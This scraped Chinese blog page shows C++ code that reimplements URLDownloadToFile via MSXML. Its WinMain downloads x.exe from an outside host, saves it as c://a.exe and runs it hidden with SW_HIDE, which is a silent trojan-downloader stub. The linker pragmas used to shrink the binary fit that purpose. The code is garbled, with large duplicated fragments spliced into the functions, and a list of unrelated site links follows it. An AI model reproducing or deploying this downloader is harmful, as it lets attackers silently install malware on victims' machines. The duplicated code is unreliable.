URLDownloadToFile
来源:互联网 发布:潼关县四知学校 电话 编辑:程序博客网 时间:2024/05/21 11:05
作者:CoolDiyer
// xml.cpp : By CoolDiyer 2008/4/9 14:03
//
#pragma comment(linker, "/subsystem:windows /FILEALIGN:0x200 /opt:nowin98")
//
#pragma comment(linker, "/subsystem:windows /FILEALIGN:0x200 /opt:nowin98")
#include <windows.h>
#include <atlbase.h>
#import "msxml.dll"
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance("msxml2.xmlhttp");
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open("GET", szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;
#include <atlbase.h>
#import "msxml.dll"
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance("msxml2.xmlhttp");
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open("GET", szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;
VARIANT vValue;
xmlHttp->get_responseStream(&vValue);
xmlHttp->get_responseStream(&vValue);
IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal; //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart); //取得文件的长度
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal; //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart); //取得文件的长度
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
pIStream->Release();
pIStream = NULL;
}
return true;
}
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
pIStream->Release();
pIStream = NULL;
}
return true;
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
CoInitialize(NULL);
char *lpszFile = "c://a.exe";
URLDownloadToFile("http://xdiyer.com/x.exe", lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
CoInitialize(NULL);
char *lpszFile = "c://a.exe";
URLDownloadToFile("http://xdiyer.com/x.exe", lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile
- URLDownloadToFile Function
- URLDownloadToFile函数
- (转)URLDownloadToFile
- URLDownloadToFile Function
- URLDownloadToFile的BUG
- URLDownloadToFile 访问参数限制!
- 用URLDownloadToFile下载文件
- URLDownloadToFile进度回调
- 为 URLDownloadToFile 实现进度条
- internetopen、internetOpenUrl、InternetReadFile,urldownloadtofile
- vb URLDownloadToFile下载函数
- 虚拟机软件VMware 6.5.1正式版下载
- Win32服务介绍
- 200909 每日一句(By 宇宙老人)
- 关于编译原理。
- xslt
- URLDownloadToFile
- 读 《小言 皇帝内经 与生命科学》
- 在学习中成长自己
- JSP中两种包含指令标签区别
- char[] char数组 char*返回值的问题
- windows安装基于Apache的SVN服务器(包括SSL配置)[2007-8-19更新]
- 阻塞模式与非阻塞模式
- 龙芯fuloong2f 内核编译简略总结
- POJ 1191棋盘分割